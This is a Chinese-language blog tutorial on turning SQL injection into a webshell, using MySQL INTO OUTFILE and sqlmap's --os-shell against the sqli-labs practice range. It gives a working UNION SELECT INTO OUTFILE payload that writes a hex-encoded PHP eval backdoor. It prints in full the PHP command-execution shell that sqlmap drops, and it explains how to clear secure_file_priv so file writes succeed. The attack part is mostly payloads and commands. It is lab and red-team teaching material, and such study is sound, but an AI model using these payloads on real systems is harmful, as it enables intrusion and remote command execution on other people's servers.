首页 > 数据库 >sql注入getshell的几种方式

sql注入getshell的几种方式

时间:2023-04-23 11:37:04浏览次数:48  
标签:getshell shell secure -- 写入 几种 file sql priv

文章目录

一. into outfile

利用条件

写入webshell

二. --os-shell

--sql-shell

 


 

  介绍几种利用sql注入获取系统权限的方法,一是利用outfile函数,另外一种是利用--os-shell。

一. into outfile

  利用条件:

    1. 此方法利用的先决条件

      • web目录具有写权限,能够使用单引号
      • 知道网站绝对路径(根目录,或则是根目录往下的目录都行)
      • secure_file_priv没有具体值(在mysql/my.ini中查看)

      2. secure_file_priv

      • secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
      • 当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
      • 当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制

  所以如果我们要想使用into outfile函数写入一句话的话就需要将secure_file_priv 的值设为没有值,那如何设置了?修改secure_file_priv 的值只能通过手动打开配置文件进行修改,不能直接使用sql语句进行修改

      (1)看secure-file-priv参数的值  

show global variables like '%secure%';

         如下,secure_file_priv 的值默认为NULL,则表示限制mysqld 不允许导入|导出

      (2)修改secure_file_priv 的值

        我们可以在mysql/my.ini中查看是否有secure_file_priv 的参数,如果没有的话我们就添加 secure_file_priv = '' 即可

        此时再查看secure_file_priv的值如下已经变为空了

        设置完成后我们就可以利用这个函数来写入一句话木马

  写入webshell

    我们以sqli-labs第七关为例

      1. 注入点判断

        输入正确的语法正常显示,错误的语法显示说语法错误,页面只存在两种状态,判断为盲注。我们输入?id=3')) and sleep(5) --+时成功延时,所以注入点就为3')),我们输入的字符被包含在单引号中,且单引号外有两个双引号包裹

      2. 判断列数

        我们使用order by 语句判断列数,order by 3时,正常显示,4时不正常,判断为3列

      3. 写入webshell

        加如此前我们已经通过一些方法获取到了网站的根目录,则可以写入一句话 “ <?php eval($_REQUEST[1]);?> ”。一句话建议进行十六进制转码(不用编码也可以) 16进制转换,16进制转换文本字符串,在线16进制转换 | 在线工具

        编码后,然后在最前面加上 0x。如下我们将一句话木马进行十六进制编码后写入了根目录下的outfile.php文件中

?id=-3')) union select 1,0x3c3f706870206576616c28245f524551554553545b315d293b3f3e,3 into outfile 'C:\\Users\\Administrator.WIN2012\\Desktop\\phpStudy\\WWW\\outfile.php' --+

        成功写入,这里网站的目录要使用双斜杠不然会写不进去,第一个斜杠是转义的意思,字符串解析不仅仅局限于C编译器,Java编译器、一些配置文件的解析、Web服务器等等,都会遇到对字符串进行解析的这个问题,由于传统的 Windows采用的是单个斜杠的路径分隔形式,导致在对文件路径进行解析的时候可能发生不必要的错误,所以就出现了用双反斜杠"\\"分隔路径的形式。 不管解析引擎是否将反斜杠解析成转义字符,最终在内存中得到的都是"\",结果也就不会出问题了。

     4. 连接webshell 

      成功连接  

      如果我们将 secure_file_priv的值为设置为null,我们在进行上面的写入操作发现并没有写进去。

      所以没有写进去的情况有两种:

        • 网站的路径不对,或者没有使用双斜杠进行转义
        • secure_file_priv的值不是为空

二. --os-shell

利用原理:

  --os-shell就是使用udf提权获取WebShell。也是通过into oufile向服务器写入两个文件,一个可以直接执行系统命令,一个进行上传文件

  此为sqlmap的一个命令,利用这条命令的先决条件:   

      • 要求为数据库DBA,使用--is-dba查看当前网站连接的数据库账号是否为mysql user表中的管理员如root,是则为dba
      • secure_file_priv没有具体值
      • 知道网站的绝对路径

漏洞利用:

我们以sqli-labs第一关为例

sqlmap -u http://192.168.43.145/2_Shotting_Range/sql/Less-1/?id=1 --os-shell

这里需要我们选择网站的脚本语言,和网站根路径

  [1] common location(s) ('C:/xampp/htdocs/, C:/wamp/www/, C:/Inetpub/wwwroot/') (default) #sqlmap自带测试常规路径
  [2] custom location(s) #自己填写绝对路径
  [3] custom directory list file #自己填写目录字典,我们将字典所在的路径传过去就行
  [4] brute force search

sqlmap在指定的目录生成了两个文件(文件名是随机的,并不是固定的):

  • tmpbeewq.php 用来执行系统命令
  • tmpuqvgw.php 用来上传文件

1. tmpbeewq.php的文件内容为

<?php $c=$_REQUEST["cmd"];@set_time_limit(0);@ignore_user_abort(1);@ini_set("max_execution_time",0);$z=@ini_get("disable_functions");if(!empty($z)){$z=preg_replace("/[, ]+/",',',$z);$z=explode(',',$z);$z=array_map("trim",$z);}else{$z=array();}$c=$c." 2>&1\n";function f($n){global $z;return is_callable($n)and!in_array($n,$z);}if(f("system")){ob_start();system($c);$w=ob_get_clean();}elseif(f("proc_open")){$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$w=NULL;while(!feof($t[1])){$w.=fread($t[1],512);}@proc_close($y);}elseif(f("shell_exec")){$w=shell_exec($c);}elseif(f("passthru")){ob_start();passthru($c);$w=ob_get_clean();}elseif(f("popen")){$x=popen($c,r);$w=NULL;if(is_resource($x)){while(!feof($x)){$w.=fread($x,512);}}@pclose($x);}elseif(f("exec")){$w=array();exec($c,$w);$w=join(chr(10),$w).chr(10);}else{$w=0;}echo"<pre>$w</pre>";?>

访问一下

2. 使用tmpuqvgw.php上传文件

我们上传一个php的一句话后门

访问

所以这两种方式都需要知道网站的绝对路径才行。

补充:

上面说了sqlmap写入webshell的方式有三种,缺一不可

  • web目录具有写权限,能够使用单引号
  • 知道网站绝对路径
  • secure_file_priv没有具体值(在mysql/my.ini中查看)

  在最近的一次护网中,我使用sqlmap写webshell,知道了网站的根目录,还是写不进去。就是由于secure_file_priv的值为NULL。那怎么知道这个值是什么了

--sql-shell

我们可以先使用这个来执行一些sql语句

sqlmap.py -u "xxx" --sql-shell

1.查看文件路径(mysql/data的路径,根目录一般与mysql处于同一目录)

select @@datadir;

2.查看secure_file_priv的值是否为空

select @@secure_file_priv 

如下为null,无法写入

当为空的时候则什么都不返回


      

标签:getshell,shell,secure,--,写入,几种,file,sql,priv
From: https://www.cnblogs.com/hkgan/p/17345974.html

相关文章

  • 06期:使用 OPTIMIZER_TRACE 窥探 MySQL 索引选择的秘密
    这里记录的是学习分享内容,文章维护在Github:studeyang/leanrning-share。优化查询语句的性能是MySQL数据库管理中的一个重要方面。在优化查询性能时,选择正确的索引对于减少查询的响应时间和提高系统性能至关重要。但是,如何确定MySQL的索引选择策略?MySQL的优化器是如何选择索......
  • 02 | 产生0,1,2...的序列大致有几种方法
    1.写死的for循环2.生成序列和打印序列分开(占据极大的内存)3.用static来实现(缺点:引入了全局的状态)4.用类来实现(缺点:编写类定义太麻烦)5.使用lambda闭包init6.使用协程注意,此处的协程类是需要自己的实现的。......
  • MySQL中的 distinct 和 group by 哪个效率更高?
    在语义相同,有索引的情况下:groupby和distinct都能使用索引,效率相同。因为groupby和distinct近乎等价,distinct可以被看做是特殊的groupby。在语义相同,无索引的情况下:distinct效率高于groupby。原因是distinct和groupby都会进行分组操作,但groupby在Mysql8.0之前会进行隐式......
  • mysql索引学习
    概念:是一种高效获取数据的数据结构(有序)索引结构二叉树红黑树hashbtree,叶子节点存数据,一个页占用数据大,层级结构就多b+tree,非叶子节点存储数据,mysql做了优化,双向链表索引分类:主键索引、唯一索引、常规索引、全文索引聚集索引、非聚集索引通过命令查询增删改查执行次数......
  • Microsoft SQL Server安装2022
    https://www.microsoft.com/zh-cn/sql-server/sql-server-downloads用的第三个 注册,填完就可以下载。选择位置左边按安装,右边按最上面一个:全新sql 我们默认下一步 中间有几页,同样是下一步,第二次安装,没有显示了。将适用于sql的反选后下一步选择功能,位置。......
  • Mysql中如果建立了索引,索引所占的空间随着数据量增长而变大,这样无论写入还是查询,性能
    索引所占空间的增长确实会对MySQL数据库的写入性能和查询性能造成影响,这主要是由于索引数据过多时会导致磁盘I/O操作变得非常频繁,从而使性能下降。为此,可以采取以下几种方式来减缓这种影响: 1.限制索引的大小:可以考虑为索引指定大小限制,在存储时仅存储指定大小内的数据。例如,在......
  • mysql replace 正则替换
    先说结论:8.0版本之前不支持,只能采用曲线方法,例如:UPDATEtestsettest.data=REPLACE(test.data,SUBSTR(test.data,LOCATE("{",test.data),LOCATE("}",test.data)),"") 8.0之后使用REGEXP_REPLACE函数UPDATEtableNameset`name`=REGEXP_REPLACE(`name`,'......
  • mysql字段过长无法作为约束、索引的解决方案
    背景:对接过程中遇到一个场景 需要用(网页链接+请求id)作为唯一约束,由于url很长,我在一开始就设置为了text字段。ALTERTABLExxx.xxxADDCONSTRAINTxxxUNIQUEKEY(xxxx);在加约束时报错:SQL错误[1170][42000]:BLOB/TEXTcolumn'xxxx'usedinkeyspecificationwith......
  • mysql单表备份部分数据且数据量较大时
    --复制表结构CREATETABLEtableB(LIKEtableA);--插入筛选数据INSERTintotableBSELECT*fromtableAwhereXXX=?;--重命名,替换renametabletableAtotableC;renametabletableBtotableA;--删除旧表DROPTABLEtableC;......
  • MySQL数据类型之字符型
    字符类型类型说明N的含义是否有字符集最大长度char(n)定长字符字符是255varchar(n)变长字符字符是65535binary(n)定长二进制字节字节否255varbinary(n)变长二进制字节字节否65535tinyblob二进制大对象字节否255blob(n)二进制大对象字节否65535mediumblob(n)二进制大对象字节否16Mlo......